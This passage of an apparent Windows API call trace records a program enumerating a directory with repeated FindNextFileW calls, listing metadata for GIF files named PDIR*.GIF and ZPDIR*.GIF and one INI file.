ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR47F.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2b53, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR48B.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x178c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR48F.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4a66, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR49B.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR49F.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2a01, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR4B.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x76cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR4F.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1001, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR50B.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR50F.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4217, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR51B.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR51F.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5B.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb59270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xce72, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5F.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x24dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR6B.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR6F.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6054, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR7B.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x70bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR7F.GIF", cAlternateFileName="")) returned 1 [0069.638] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR8B.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2204, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR8F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x445d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR9B.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5aec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR9F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x189e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPAPERS.INI", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR00.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR10F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1706, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR11F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6499, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR12F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR13F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x645b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR14F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x452b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR15F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR16F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x34cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR17F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4be9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR18F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc11, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR19F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR1B.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR1F.GIF", cAlternateFileName="")) returned 1 [0069.639] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc85, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR20F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x42ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR21F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcd6030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1983, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR22F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcd6030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2a71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR23F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR24F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x326c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR25F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2072, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR26F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR27F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x10a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR28F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1444, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR29F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a5ff00, ftCreationTime.dwHighDateTime=0x1bdb3a4, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20a5ff00, ftLastWriteTime.dwHighDateTime=0x1bdb3a4, nFileSizeHigh=0x0, nFileSizeLow=0xc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR2B.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x154f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR2F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, 